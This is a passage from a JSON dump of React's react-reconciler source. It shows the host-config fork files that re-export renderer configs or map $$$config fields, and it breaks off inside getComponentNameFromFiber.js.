    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from 'react-art/src/ReactFiberConfigART';\nexport * from 'react-client/src/ReactClientConsoleConfigBrowser';\n"
  },
  {
    "path": "packages/react-reconciler/src/forks/ReactFiberConfig.custom.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a host config that's used for the `react-reconciler` package on npm.\n// It is only used by third-party renderers.\n//\n// Its API lets you pass the host config as an argument.\n// However, inside the `react-reconciler` we treat host config as a module.\n// This file is a shim between two worlds.\n//\n// It works because the `react-reconciler` bundle is wrapped in something like:\n//\n// module.exports = function ($$$config) {\n//   /* reconciler code */\n// }\n//\n// So `$$$config` looks like a global variable, but it's\n// really an argument to a top-level wrapping function.\n\ndeclare const $$$config: any;\nexport opaque type Type = mixed;\nexport opaque type Props = mixed;\nexport opaque type Container = mixed;\nexport opaque type Instance = mixed;\nexport opaque type TextInstance = mixed;\nexport opaque type ActivityInstance = mixed;\nexport opaque type SuspenseInstance = mixed;\nexport opaque type HydratableInstance = mixed;\nexport opaque type PublicInstance = mixed;\nexport opaque type HostContext = mixed;\nexport opaque type UpdatePayload = mixed;\nexport opaque type ChildSet = mixed;\nexport opaque type TimeoutHandle = mixed;\nexport opaque type NoTimeout = mixed;\nexport opaque type RendererInspectionConfig = mixed;\nexport opaque type TransitionStatus = mixed;\nexport opaque type FormInstance = mixed;\nexport opaque type SuspendedState = mixed;\nexport type RunningViewTransition = mixed;\nexport type ViewTransitionInstance = null | {name: string, ...};\nexport opaque type InstanceMeasurement = mixed;\nexport type EventResponder = any;\nexport type GestureTimeline = any;\nexport type FragmentInstanceType = null;\n\nexport const rendererVersion = $$$config.rendererVersion;\nexport const rendererPackageName = $$$config.rendererPackageName;\nexport const extraDevToolsConfig = $$$config.extraDevToolsConfig;\n\nexport const getPublicInstance = $$$config.getPublicInstance;\nexport const getRootHostContext = $$$config.getRootHostContext;\nexport const getChildHostContext = $$$config.getChildHostContext;\nexport const prepareForCommit = $$$config.prepareForCommit;\nexport const resetAfterCommit = $$$config.resetAfterCommit;\nexport const createInstance = $$$config.createInstance;\nexport const cloneMutableInstance = $$$config.cloneMutableInstance;\nexport const appendInitialChild = $$$config.appendInitialChild;\nexport const finalizeInitialChildren = $$$config.finalizeInitialChildren;\nexport const shouldSetTextContent = $$$config.shouldSetTextContent;\nexport const createTextInstance = $$$config.createTextInstance;\nexport const cloneMutableTextInstance = $$$config.cloneMutableTextInstance;\nexport const scheduleTimeout = $$$config.scheduleTimeout;\nexport const cancelTimeout = $$$config.cancelTimeout;\nexport const noTimeout = $$$config.noTimeout;\nexport const isPrimaryRenderer = $$$config.isPrimaryRenderer;\nexport const warnsIfNotActing = $$$config.warnsIfNotActing;\nexport const supportsMutation = $$$config.supportsMutation;\nexport const supportsPersistence = $$$config.supportsPersistence;\nexport const supportsHydration = $$$config.supportsHydration;\nexport const getInstanceFromNode = $$$config.getInstanceFromNode;\nexport const beforeActiveInstanceBlur = $$$config.beforeActiveInstanceBlur;\nexport const afterActiveInstanceBlur = $$$config.afterActiveInstanceBlur;\nexport const preparePortalMount = $$$config.preparePortalMount;\nexport const prepareScopeUpdate = $$$config.prepareScopeUpdate;\nexport const getInstanceFromScope = $$$config.getInstanceFromScope;\nexport const setCurrentUpdatePriority = $$$config.setCurrentUpdatePriority;\nexport const getCurrentUpdatePriority = $$$config.getCurrentUpdatePriority;\nexport const resolveUpdatePriority = $$$config.resolveUpdatePriority;\nexport const trackSchedulerEvent = $$$config.trackSchedulerEvent;\nexport const resolveEventType = $$$config.resolveEventType;\nexport const resolveEventTimeStamp = $$$config.resolveEventTimeStamp;\nexport const shouldAttemptEagerTransition =\n  $$$config.shouldAttemptEagerTransition;\nexport const detachDeletedInstance = $$$config.detachDeletedInstance;\nexport const requestPostPaintCallback = $$$config.requestPostPaintCallback;\nexport const maySuspendCommit = $$$config.maySuspendCommit;\nexport const maySuspendCommitOnUpdate = $$$config.maySuspendCommitOnUpdate;\nexport const maySuspendCommitInSyncRender =\n  $$$config.maySuspendCommitInSyncRender;\nexport const preloadInstance = $$$config.preloadInstance;\nexport const startSuspendingCommit = $$$config.startSuspendingCommit;\nexport const suspendInstance = $$$config.suspendInstance;\nexport const suspendOnActiveViewTransition =\n  $$$config.suspendOnActiveViewTransition;\nexport const waitForCommitToBeReady = $$$config.waitForCommitToBeReady;\nexport const getSuspendedCommitReason = $$$config.getSuspendedCommitReason;\nexport const NotPendingTransition = $$$config.NotPendingTransition;\nexport const HostTransitionContext = $$$config.HostTransitionContext;\nexport const resetFormInstance = $$$config.resetFormInstance;\nexport const bindToConsole = $$$config.bindToConsole;\n\n// -------------------\n//      Microtasks\n//     (optional)\n// -------------------\nexport const supportsMicrotasks = $$$config.supportsMicrotasks;\nexport const scheduleMicrotask = $$$config.scheduleMicrotask;\n\n// -------------------\n//      Test selectors\n//     (optional)\n// -------------------\nexport const supportsTestSelectors = $$$config.supportsTestSelectors;\nexport const findFiberRoot = $$$config.findFiberRoot;\nexport const getBoundingRect = $$$config.getBoundingRect;\nexport const getTextContent = $$$config.getTextContent;\nexport const isHiddenSubtree = $$$config.isHiddenSubtree;\nexport const matchAccessibilityRole = $$$config.matchAccessibilityRole;\nexport const setFocusIfFocusable = $$$config.setFocusIfFocusable;\nexport const setupIntersectionObserver = $$$config.setupIntersectionObserver;\n\n// -------------------\n//      Mutation\n//     (optional)\n// -------------------\nexport const appendChild = $$$config.appendChild;\nexport const appendChildToContainer = $$$config.appendChildToContainer;\nexport const commitTextUpdate = $$$config.commitTextUpdate;\nexport const commitMount = $$$config.commitMount;\nexport const commitUpdate = $$$config.commitUpdate;\nexport const insertBefore = $$$config.insertBefore;\nexport const insertInContainerBefore = $$$config.insertInContainerBefore;\nexport const removeChild = $$$config.removeChild;\nexport const removeChildFromContainer = $$$config.removeChildFromContainer;\nexport const resetTextContent = $$$config.resetTextContent;\nexport const hideInstance = $$$config.hideInstance;\nexport const hideTextInstance = $$$config.hideTextInstance;\nexport const unhideInstance = $$$config.unhideInstance;\nexport const unhideTextInstance = $$$config.unhideTextInstance;\nexport const applyViewTransitionName = $$$config.applyViewTransitionName;\nexport const restoreViewTransitionName = $$$config.restoreViewTransitionName;\nexport const cancelViewTransitionName = $$$config.cancelViewTransitionName;\nexport const cancelRootViewTransitionName =\n  $$$config.cancelRootViewTransitionName;\nexport const restoreRootViewTransitionName =\n  $$$config.restoreRootViewTransitionName;\nexport const cloneRootViewTransitionContainer =\n  $$$config.cloneRootViewTransitionContainer;\nexport const removeRootViewTransitionClone =\n  $$$config.removeRootViewTransitionClone;\nexport const measureInstance = $$$config.measureInstance;\nexport const measureClonedInstance = $$$config.measureClonedInstance;\nexport const wasInstanceInViewport = $$$config.wasInstanceInViewport;\nexport const hasInstanceChanged = $$$config.hasInstanceChanged;\nexport const hasInstanceAffectedParent = $$$config.hasInstanceAffectedParent;\nexport const startViewTransition = $$$config.startViewTransition;\nexport const startGestureTransition = $$$config.startGestureTransition;\nexport const stopViewTransition = $$$config.stopViewTransition;\nexport const addViewTransitionFinishedListener =\n  $$$config.addViewTransitionFinishedListener;\nexport const getCurrentGestureOffset = $$$config.getCurrentGestureOffset;\nexport const createViewTransitionInstance =\n  $$$config.createViewTransitionInstance;\nexport const clearContainer = $$$config.clearContainer;\nexport const createFragmentInstance = $$$config.createFragmentInstance;\nexport const updateFragmentInstanceFiber =\n  $$$config.updateFragmentInstanceFiber;\nexport const commitNewChildToFragmentInstance =\n  $$$config.commitNewChildToFragmentInstance;\nexport const deleteChildFromFragmentInstance =\n  $$$config.deleteChildFromFragmentInstance;\n\n// -------------------\n//     Persistence\n//     (optional)\n// -------------------\nexport const cloneInstance = $$$config.cloneInstance;\nexport const createContainerChildSet = $$$config.createContainerChildSet;\nexport const appendChildToContainerChildSet =\n  $$$config.appendChildToContainerChildSet;\nexport const finalizeContainerChildren = $$$config.finalizeContainerChildren;\nexport const replaceContainerChildren = $$$config.replaceContainerChildren;\nexport const cloneHiddenInstance = $$$config.cloneHiddenInstance;\nexport const cloneHiddenTextInstance = $$$config.cloneHiddenTextInstance;\n\n// -------------------\n//     Hydration\n//     (optional)\n// -------------------\nexport const isSuspenseInstancePending = $$$config.isSuspenseInstancePending;\nexport const isSuspenseInstanceFallback = $$$config.isSuspenseInstanceFallback;\nexport const getSuspenseInstanceFallbackErrorDetails =\n  $$$config.getSuspenseInstanceFallbackErrorDetails;\nexport const registerSuspenseInstanceRetry =\n  $$$config.registerSuspenseInstanceRetry;\nexport const canHydrateFormStateMarker = $$$config.canHydrateFormStateMarker;\nexport const isFormStateMarkerMatching = $$$config.isFormStateMarkerMatching;\nexport const getNextHydratableSibling = $$$config.getNextHydratableSibling;\nexport const getNextHydratableSiblingAfterSingleton =\n  $$$config.getNextHydratableSiblingAfterSingleton;\nexport const getFirstHydratableChild = $$$config.getFirstHydratableChild;\nexport const getFirstHydratableChildWithinContainer =\n  $$$config.getFirstHydratableChildWithinContainer;\nexport const getFirstHydratableChildWithinActivityInstance =\n  $$$config.getFirstHydratableChildWithinActivityInstance;\nexport const getFirstHydratableChildWithinSuspenseInstance =\n  $$$config.getFirstHydratableChildWithinSuspenseInstance;\nexport const getFirstHydratableChildWithinSingleton =\n  $$$config.getFirstHydratableChildWithinSingleton;\nexport const canHydrateInstance = $$$config.canHydrateInstance;\nexport const canHydrateTextInstance = $$$config.canHydrateTextInstance;\nexport const canHydrateActivityInstance = $$$config.canHydrateActivityInstance;\nexport const canHydrateSuspenseInstance = $$$config.canHydrateSuspenseInstance;\nexport const hydrateInstance = $$$config.hydrateInstance;\nexport const hydrateTextInstance = $$$config.hydrateTextInstance;\nexport const hydrateActivityInstance = $$$config.hydrateActivityInstance;\nexport const hydrateSuspenseInstance = $$$config.hydrateSuspenseInstance;\nexport const getNextHydratableInstanceAfterActivityInstance =\n  $$$config.getNextHydratableInstanceAfterActivityInstance;\nexport const getNextHydratableInstanceAfterSuspenseInstance =\n  $$$config.getNextHydratableInstanceAfterSuspenseInstance;\nexport const commitHydratedInstance = $$$config.commitHydratedInstance;\nexport const commitHydratedContainer = $$$config.commitHydratedContainer;\nexport const commitHydratedActivityInstance =\n  $$$config.commitHydratedActivityInstance;\nexport const commitHydratedSuspenseInstance =\n  $$$config.commitHydratedSuspenseInstance;\nexport const finalizeHydratedChildren = $$$config.finalizeHydratedChildren;\nexport const flushHydrationEvents = $$$config.flushHydrationEvents;\nexport const clearActivityBoundary = $$$config.clearActivityBoundary;\nexport const clearSuspenseBoundary = $$$config.clearSuspenseBoundary;\nexport const clearActivityBoundaryFromContainer =\n  $$$config.clearActivityBoundaryFromContainer;\nexport const clearSuspenseBoundaryFromContainer =\n  $$$config.clearSuspenseBoundaryFromContainer;\nexport const hideDehydratedBoundary = $$$config.hideDehydratedBoundary;\nexport const unhideDehydratedBoundary = $$$config.unhideDehydratedBoundary;\nexport const shouldDeleteUnhydratedTailInstances =\n  $$$config.shouldDeleteUnhydratedTailInstances;\nexport const diffHydratedPropsForDevWarnings =\n  $$$config.diffHydratedPropsForDevWarnings;\nexport const diffHydratedTextForDevWarnings =\n  $$$config.diffHydratedTextForDevWarnings;\nexport const describeHydratableInstanceForDevWarnings =\n  $$$config.describeHydratableInstanceForDevWarnings;\nexport const validateHydratableInstance = $$$config.validateHydratableInstance;\nexport const validateHydratableTextInstance =\n  $$$config.validateHydratableTextInstance;\n\n// -------------------\n//     Resources\n//     (optional)\n// -------------------\nexport type HoistableRoot = mixed;\nexport type Resource = mixed;\nexport const supportsResources = $$$config.supportsResources;\nexport const isHostHoistableType = $$$config.isHostHoistableType;\nexport const getHoistableRoot = $$$config.getHoistableRoot;\nexport const getResource = $$$config.getResource;\nexport const acquireResource = $$$config.acquireResource;\nexport const releaseResource = $$$config.releaseResource;\nexport const hydrateHoistable = $$$config.hydrateHoistable;\nexport const mountHoistable = $$$config.mountHoistable;\nexport const unmountHoistable = $$$config.unmountHoistable;\nexport const createHoistableInstance = $$$config.createHoistableInstance;\nexport const prepareToCommitHoistables = $$$config.prepareToCommitHoistables;\nexport const mayResourceSuspendCommit = $$$config.mayResourceSuspendCommit;\nexport const preloadResource = $$$config.preloadResource;\nexport const suspendResource = $$$config.suspendResource;\n\n// -------------------\n//     Singletons\n//     (optional)\n// -------------------\nexport const supportsSingletons = $$$config.supportsSingletons;\nexport const resolveSingletonInstance = $$$config.resolveSingletonInstance;\nexport const acquireSingletonInstance = $$$config.acquireSingletonInstance;\nexport const releaseSingletonInstance = $$$config.releaseSingletonInstance;\nexport const isHostSingletonType = $$$config.isHostSingletonType;\nexport const isSingletonScope = $$$config.isSingletonScope;\n"
  },
  {
    "path": "packages/react-reconciler/src/forks/ReactFiberConfig.dom.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from 'react-dom-bindings/src/client/ReactFiberConfigDOM';\nexport * from 'react-client/src/ReactClientConsoleConfigBrowser';\n"
  },
  {
    "path": "packages/react-reconciler/src/forks/ReactFiberConfig.fabric.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from 'react-native-renderer/src/ReactFiberConfigFabric';\nexport * from 'react-client/src/ReactClientConsoleConfigPlain';\n"
  },
  {
    "path": "packages/react-reconciler/src/forks/ReactFiberConfig.markup.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Re-exported just because we always type check react-reconciler even in\n// dimensions where it's not used.\nexport * from 'react-dom-bindings/src/client/ReactFiberConfigDOM';\nexport * from 'react-client/src/ReactClientConsoleConfigBrowser';\n\n// eslint-disable-next-line react-internal/prod-error-codes\nthrow new Error('Fiber is not used in react-markup');\n"
  },
  {
    "path": "packages/react-reconciler/src/forks/ReactFiberConfig.native.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from 'react-native-renderer/src/ReactFiberConfigNative';\nexport * from 'react-client/src/ReactClientConsoleConfigPlain';\n"
  },
  {
    "path": "packages/react-reconciler/src/forks/ReactFiberConfig.noop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a host config that's used for the internal `react-noop-renderer`.\n//\n// Its API lets you pass the host config as an argument.\n// However, inside the `react-reconciler` we treat host config as a module.\n// This file is a shim between two worlds.\n//\n// It works because the `react-reconciler` bundle is wrapped in something like:\n//\n// module.exports = function ($$$config) {\n//   /* reconciler code */\n// }\n//\n// So `$$$config` looks like a global variable, but it's\n// really an argument to a top-level wrapping function.\n\nexport * from 'react-noop-renderer/src/ReactFiberConfigNoop';\n\ndeclare const $$$config: $FlowFixMe;\nexport opaque type Type = mixed;\nexport opaque type Props = mixed;\nexport opaque type ActivityInstance = mixed;\nexport opaque type SuspenseInstance = mixed;\nexport opaque type HydratableInstance = mixed;\nexport opaque type UpdatePayload = mixed;\nexport opaque type ChildSet = mixed;\nexport opaque type TimeoutHandle = mixed;\nexport opaque type NoTimeout = mixed;\nexport opaque type RendererInspectionConfig = mixed;\nexport opaque type FormInstance = mixed;\nexport opaque type SuspendedState = mixed;\nexport type RunningViewTransition = mixed;\nexport type ViewTransitionInstance = null | {name: string, ...};\nexport opaque type InstanceMeasurement = mixed;\nexport type EventResponder = any;\nexport type GestureTimeline = any;\nexport type FragmentInstanceType = null;\n\nexport const rendererVersion = $$$config.rendererVersion;\nexport const rendererPackageName = $$$config.rendererPackageName;\nexport const extraDevToolsConfig = $$$config.extraDevToolsConfig;\n\nexport const getPublicInstance = $$$config.getPublicInstance;\nexport const getRootHostContext = $$$config.getRootHostContext;\nexport const getChildHostContext = $$$config.getChildHostContext;\nexport const prepareForCommit = $$$config.prepareForCommit;\nexport const resetAfterCommit = $$$config.resetAfterCommit;\nexport const createInstance = $$$config.createInstance;\nexport const cloneMutableInstance = $$$config.cloneMutableInstance;\nexport const appendInitialChild = $$$config.appendInitialChild;\nexport const finalizeInitialChildren = $$$config.finalizeInitialChildren;\nexport const shouldSetTextContent = $$$config.shouldSetTextContent;\nexport const createTextInstance = $$$config.createTextInstance;\nexport const cloneMutableTextInstance = $$$config.cloneMutableTextInstance;\nexport const scheduleTimeout = $$$config.scheduleTimeout;\nexport const cancelTimeout = $$$config.cancelTimeout;\nexport const noTimeout = $$$config.noTimeout;\nexport const isPrimaryRenderer = $$$config.isPrimaryRenderer;\nexport const warnsIfNotActing = $$$config.warnsIfNotActing;\nexport const supportsMutation = $$$config.supportsMutation;\nexport const supportsPersistence = $$$config.supportsPersistence;\nexport const supportsHydration = $$$config.supportsHydration;\nexport const getInstanceFromNode = $$$config.getInstanceFromNode;\nexport const beforeActiveInstanceBlur = $$$config.beforeActiveInstanceBlur;\nexport const afterActiveInstanceBlur = $$$config.afterActiveInstanceBlur;\nexport const preparePortalMount = $$$config.preparePortalMount;\nexport const prepareScopeUpdate = $$$config.prepareScopeUpdate;\nexport const getInstanceFromScope = $$$config.getInstanceFromScope;\nexport const setCurrentUpdatePriority = $$$config.setCurrentUpdatePriority;\nexport const getCurrentUpdatePriority = $$$config.getCurrentUpdatePriority;\nexport const resolveUpdatePriority = $$$config.resolveUpdatePriority;\nexport const trackSchedulerEvent = $$$config.trackSchedulerEvent;\nexport const resolveEventType = $$$config.resolveEventType;\nexport const resolveEventTimeStamp = $$$config.resolveEventTimeStamp;\nexport const shouldAttemptEagerTransition =\n  $$$config.shouldAttemptEagerTransition;\nexport const detachDeletedInstance = $$$config.detachDeletedInstance;\nexport const requestPostPaintCallback = $$$config.requestPostPaintCallback;\nexport const maySuspendCommit = $$$config.maySuspendCommit;\nexport const maySuspendCommitOnUpdate = $$$config.maySuspendCommitOnUpdate;\nexport const maySuspendCommitInSyncRender =\n  $$$config.maySuspendCommitInSyncRender;\nexport const preloadInstance = $$$config.preloadInstance;\nexport const startSuspendingCommit = $$$config.startSuspendingCommit;\nexport const suspendInstance = $$$config.suspendInstance;\nexport const suspendOnActiveViewTransition =\n  $$$config.suspendOnActiveViewTransition;\nexport const waitForCommitToBeReady = $$$config.waitForCommitToBeReady;\nexport const getSuspendedCommitReason = $$$config.getSuspendedCommitReason;\nexport const NotPendingTransition = $$$config.NotPendingTransition;\nexport const HostTransitionContext = $$$config.HostTransitionContext;\nexport const resetFormInstance = $$$config.resetFormInstance;\nexport const bindToConsole = $$$config.bindToConsole;\n\n// -------------------\n//      Microtasks\n//     (optional)\n// -------------------\nexport const supportsMicrotasks = $$$config.supportsMicrotasks;\nexport const scheduleMicrotask = $$$config.scheduleMicrotask;\n\n// -------------------\n//      Test selectors\n//     (optional)\n// -------------------\nexport const supportsTestSelectors = $$$config.supportsTestSelectors;\nexport const findFiberRoot = $$$config.findFiberRoot;\nexport const getBoundingRect = $$$config.getBoundingRect;\nexport const getTextContent = $$$config.getTextContent;\nexport const isHiddenSubtree = $$$config.isHiddenSubtree;\nexport const matchAccessibilityRole = $$$config.matchAccessibilityRole;\nexport const setFocusIfFocusable = $$$config.setFocusIfFocusable;\nexport const setupIntersectionObserver = $$$config.setupIntersectionObserver;\n\n// -------------------\n//      Mutation\n//     (optional)\n// -------------------\nexport const appendChild = $$$config.appendChild;\nexport const appendChildToContainer = $$$config.appendChildToContainer;\nexport const commitTextUpdate = $$$config.commitTextUpdate;\nexport const commitMount = $$$config.commitMount;\nexport const commitUpdate = $$$config.commitUpdate;\nexport const insertBefore = $$$config.insertBefore;\nexport const insertInContainerBefore = $$$config.insertInContainerBefore;\nexport const removeChild = $$$config.removeChild;\nexport const removeChildFromContainer = $$$config.removeChildFromContainer;\nexport const resetTextContent = $$$config.resetTextContent;\nexport const hideInstance = $$$config.hideInstance;\nexport const hideTextInstance = $$$config.hideTextInstance;\nexport const unhideInstance = $$$config.unhideInstance;\nexport const unhideTextInstance = $$$config.unhideTextInstance;\nexport const applyViewTransitionName = $$$config.applyViewTransitionName;\nexport const restoreViewTransitionName = $$$config.restoreViewTransitionName;\nexport const cancelViewTransitionName = $$$config.cancelViewTransitionName;\nexport const cancelRootViewTransitionName =\n  $$$config.cancelRootViewTransitionName;\nexport const restoreRootViewTransitionName =\n  $$$config.restoreRootViewTransitionName;\nexport const cloneRootViewTransitionContainer =\n  $$$config.cloneRootViewTransitionContainer;\nexport const removeRootViewTransitionClone =\n  $$$config.removeRootViewTransitionClone;\nexport const measureInstance = $$$config.measureInstance;\nexport const measureClonedInstance = $$$config.measureClonedInstance;\nexport const wasInstanceInViewport = $$$config.wasInstanceInViewport;\nexport const hasInstanceChanged = $$$config.hasInstanceChanged;\nexport const hasInstanceAffectedParent = $$$config.hasInstanceAffectedParent;\nexport const startViewTransition = $$$config.startViewTransition;\nexport const startGestureTransition = $$$config.startGestureTransition;\nexport const stopViewTransition = $$$config.stopViewTransition;\nexport const addViewTransitionFinishedListener =\n  $$$config.addViewTransitionFinishedListener;\nexport const getCurrentGestureOffset = $$$config.getCurrentGestureOffset;\nexport const createViewTransitionInstance =\n  $$$config.createViewTransitionInstance;\nexport const clearContainer = $$$config.clearContainer;\nexport const createFragmentInstance = $$$config.createFragmentInstance;\nexport const updateFragmentInstanceFiber =\n  $$$config.updateFragmentInstanceFiber;\nexport const commitNewChildToFragmentInstance =\n  $$$config.commitNewChildToFragmentInstance;\nexport const deleteChildFromFragmentInstance =\n  $$$config.deleteChildFromFragmentInstance;\n\n// -------------------\n//     Persistence\n//     (optional)\n// -------------------\nexport const cloneInstance = $$$config.cloneInstance;\nexport const createContainerChildSet = $$$config.createContainerChildSet;\nexport const appendChildToContainerChildSet =\n  $$$config.appendChildToContainerChildSet;\nexport const finalizeContainerChildren = $$$config.finalizeContainerChildren;\nexport const replaceContainerChildren = $$$config.replaceContainerChildren;\nexport const cloneHiddenInstance = $$$config.cloneHiddenInstance;\nexport const cloneHiddenTextInstance = $$$config.cloneHiddenTextInstance;\n\n// -------------------\n//     Hydration\n//     (optional)\n// -------------------\nexport const isSuspenseInstancePending = $$$config.isSuspenseInstancePending;\nexport const isSuspenseInstanceFallback = $$$config.isSuspenseInstanceFallback;\nexport const getSuspenseInstanceFallbackErrorDetails =\n  $$$config.getSuspenseInstanceFallbackErrorDetails;\nexport const registerSuspenseInstanceRetry =\n  $$$config.registerSuspenseInstanceRetry;\nexport const canHydrateFormStateMarker = $$$config.canHydrateFormStateMarker;\nexport const isFormStateMarkerMatching = $$$config.isFormStateMarkerMatching;\nexport const getNextHydratableSibling = $$$config.getNextHydratableSibling;\nexport const getNextHydratableSiblingAfterSingleton =\n  $$$config.getNextHydratableSiblingAfterSingleton;\nexport const getFirstHydratableChild = $$$config.getFirstHydratableChild;\nexport const getFirstHydratableChildWithinContainer =\n  $$$config.getFirstHydratableChildWithinContainer;\nexport const getFirstHydratableChildWithinActivityInstance =\n  $$$config.getFirstHydratableChildWithinActivityInstance;\nexport const getFirstHydratableChildWithinSuspenseInstance =\n  $$$config.getFirstHydratableChildWithinSuspenseInstance;\nexport const getFirstHydratableChildWithinSingleton =\n  $$$config.getFirstHydratableChildWithinSingleton;\nexport const canHydrateInstance = $$$config.canHydrateInstance;\nexport const canHydrateTextInstance = $$$config.canHydrateTextInstance;\nexport const canHydrateActivityInstance = $$$config.canHydrateActivityInstance;\nexport const canHydrateSuspenseInstance = $$$config.canHydrateSuspenseInstance;\nexport const hydrateInstance = $$$config.hydrateInstance;\nexport const hydrateTextInstance = $$$config.hydrateTextInstance;\nexport const hydrateActivityInstance = $$$config.hydrateActivityInstance;\nexport const hydrateSuspenseInstance = $$$config.hydrateSuspenseInstance;\nexport const getNextHydratableInstanceAfterActivityInstance =\n  $$$config.getNextHydratableInstanceAfterActivityInstance;\nexport const getNextHydratableInstanceAfterSuspenseInstance =\n  $$$config.getNextHydratableInstanceAfterSuspenseInstance;\nexport const commitHydratedInstance = $$$config.commitHydratedInstance;\nexport const commitHydratedContainer = $$$config.commitHydratedContainer;\nexport const commitHydratedActivityInstance =\n  $$$config.commitHydratedActivityInstance;\nexport const commitHydratedSuspenseInstance =\n  $$$config.commitHydratedSuspenseInstance;\nexport const finalizeHydratedChildren = $$$config.finalizeHydratedChildren;\nexport const flushHydrationEvents = $$$config.flushHydrationEvents;\nexport const clearActivityBoundary = $$$config.clearActivityBoundary;\nexport const clearSuspenseBoundary = $$$config.clearSuspenseBoundary;\nexport const clearActivityBoundaryFromContainer =\n  $$$config.clearActivityBoundaryFromContainer;\nexport const clearSuspenseBoundaryFromContainer =\n  $$$config.clearSuspenseBoundaryFromContainer;\nexport const hideDehydratedBoundary = $$$config.hideDehydratedBoundary;\nexport const unhideDehydratedBoundary = $$$config.unhideDehydratedBoundary;\nexport const shouldDeleteUnhydratedTailInstances =\n  $$$config.shouldDeleteUnhydratedTailInstances;\nexport const diffHydratedPropsForDevWarnings =\n  $$$config.diffHydratedPropsForDevWarnings;\nexport const diffHydratedTextForDevWarnings =\n  $$$config.diffHydratedTextForDevWarnings;\nexport const describeHydratableInstanceForDevWarnings =\n  $$$config.describeHydratableInstanceForDevWarnings;\nexport const validateHydratableInstance = $$$config.validateHydratableInstance;\nexport const validateHydratableTextInstance =\n  $$$config.validateHydratableTextInstance;\n\n// -------------------\n//     Resources\n//     (optional)\n// -------------------\nexport type HoistableRoot = mixed;\nexport type Resource = mixed;\nexport const supportsResources = $$$config.supportsResources;\nexport const isHostHoistableType = $$$config.isHostHoistableType;\nexport const getHoistableRoot = $$$config.getHoistableRoot;\nexport const getResource = $$$config.getResource;\nexport const acquireResource = $$$config.acquireResource;\nexport const releaseResource = $$$config.releaseResource;\nexport const hydrateHoistable = $$$config.hydrateHoistable;\nexport const mountHoistable = $$$config.mountHoistable;\nexport const unmountHoistable = $$$config.unmountHoistable;\nexport const createHoistableInstance = $$$config.createHoistableInstance;\nexport const prepareToCommitHoistables = $$$config.prepareToCommitHoistables;\nexport const mayResourceSuspendCommit = $$$config.mayResourceSuspendCommit;\nexport const preloadResource = $$$config.preloadResource;\nexport const suspendResource = $$$config.suspendResource;\n\n// -------------------\n//     Singletons\n//     (optional)\n// -------------------\nexport const supportsSingletons = $$$config.supportsSingletons;\nexport const resolveSingletonInstance = $$$config.resolveSingletonInstance;\nexport const acquireSingletonInstance = $$$config.acquireSingletonInstance;\nexport const releaseSingletonInstance = $$$config.releaseSingletonInstance;\nexport const isHostSingletonType = $$$config.isHostSingletonType;\nexport const isSingletonScope = $$$config.isSingletonScope;\n"
  },
  {
    "path": "packages/react-reconciler/src/forks/ReactFiberConfig.test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from 'react-test-renderer/src/ReactFiberConfigTestHost';\nexport * from 'react-client/src/ReactClientConsoleConfigPlain';\n"
  },
  {
    "path": "packages/react-reconciler/src/getComponentNameFromFiber.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext, ReactConsumerType} from 'shared/ReactTypes';\nimport type {Fiber} from './ReactInternalTypes';\n\nimport {\n  disableLegacyMode,\n  enableLegacyHidden,\n  enableViewTransition,\n} from 'shared/ReactFeatureFlags';\n\nimport {\n  FunctionComponent,\n  ClassComponent,\n  HostRoot,\n  HostPortal,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostText,\n  Fragment,\n  Mode,\n  ContextConsumer,\n  ContextProvider,\n  ForwardRef,\n  Profiler,\n  SuspenseComponent,\n  MemoComponent,\n  SimpleMemoComponent,\n  LazyComponent,\n  IncompleteClassComponent,\n  IncompleteFunctionComponent,\n  DehydratedFragment,\n  SuspenseListComponent,\n  ScopeComponent,\n  OffscreenComponent,\n  LegacyHiddenComponent,\n  CacheComponent,\n  TracingMarkerComponent,\n  Throw,\n  ViewTransitionComponent,\n  ActivityComponent,\n} from 'react-reconciler/src/ReactWorkTags';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\nimport {REACT_STRICT_MODE_TYPE} from 'shared/ReactSymbols';\nimport type {ReactComponentInfo} from '../../shared/ReactTypes';\n\n// Keep in sync with shared/getComponentNameFromType\nfunction getWrappedName(\n  outerType: mixed,\n  innerType: any,\n  wrapperName: string,\n): string {\n  const functionName = innerType.displayName || innerType.name || '';\n  return (\n    (outerType: any).displayName ||\n    (functionName !== '' ? `${wrapperName}(${functionName})` : wrapperName)\n  );\n}\n\n// Keep in sync with shared/getComponentNameFromType\nfunction getContextName(type: ReactContext<any>) {\n  return type.displayName || 'Context';\n}\n\nexport function getComponentNameFromOwner(\n  owner: Fiber | ReactComponentInfo,\n): string | null {\n  if (typeof owner.tag === 'number') {\n    return getComponentNameFromFiber((owner: any));\n  }\n  if (typeof owner.name === 'string') {\n    return owner.name;\n  }\n  return null;\n}\n\nexport default function getComponentNameFromFiber(fiber: Fiber): string | null {\n  const {tag, type} = fiber;\n  switch (tag) {\n    